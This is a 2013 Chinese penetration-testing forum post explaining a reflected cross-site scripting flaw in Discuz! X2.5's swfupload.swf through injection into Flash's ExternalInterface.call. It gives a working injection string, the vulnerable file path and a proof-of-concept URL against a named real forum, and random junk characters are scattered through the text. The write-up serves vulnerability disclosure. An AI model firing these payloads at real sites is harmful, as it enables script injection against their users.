中国网络渗透测试联盟

标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站 [打印本页]

作者: admin    时间: 2013-2-23 12:50
标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说0 l0 k' g9 c3 M* ?, C# ]0 p$ f3 P
$ W0 Q+ F, t  n3 o  y
flash.external.ExternalInterface.call($methodName, $parameter)
3 i6 @% i: U3 E+ N, T" S: n2 ^在浏览器中执行的是1 ?+ S! v& H2 G$ S5 X  c0 K9 J
9 k' u7 U( V5 E2 P1 S
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
  ?  G% K2 i/ O+ n, M对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如' m2 u8 F, `! {. o2 H' ?. B

- i9 Z) R% |. ?+ a: b* P" b8 oflash.external.ExternalInterface.call("object."+$methodName, $parameter)
4 \+ f& O# M. N7 W1 ~! Q$methodName = a())}catch(e){alert(/xss/)}//- y2 K" ?+ I  u* ^- Y. K
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。' C+ K5 D* n# g$ ^2 J
1 Q1 k! s0 O% y! }
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }7 W2 T$ Z" ^' O! n) e" J

, D6 h; {7 U9 v" A9 t7 V这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
7 Z  X9 Z5 n3 g- \: D杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
: S9 g; T" t6 |6 \' e* a
3 i0 [8 q6 T" X" u. l/ P, g1 W% R& M9 _( B# F, {
! j- e. \9 g' ?: x$ v
漏洞文件:upload\static\image\common\swfupload.swf
3 Q8 U2 Z4 }4 q. N. G3 x  n& O
% G7 C6 p+ ~! T1 Z. A原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
$ o) ?$ F* o( l% ?3 v( E- o* j0 T' P
2 j+ u% ~" g% R8 Z& F* |. ~7 X
8 k% d' B! M* i+ z" L# Z' w漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//) V$ g0 Y* r4 U5 |, g

) H& z# @2 j& P0 m. H6 Z
; [2 ^2 z8 f0 C/ ^- i! D7 {$ i




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2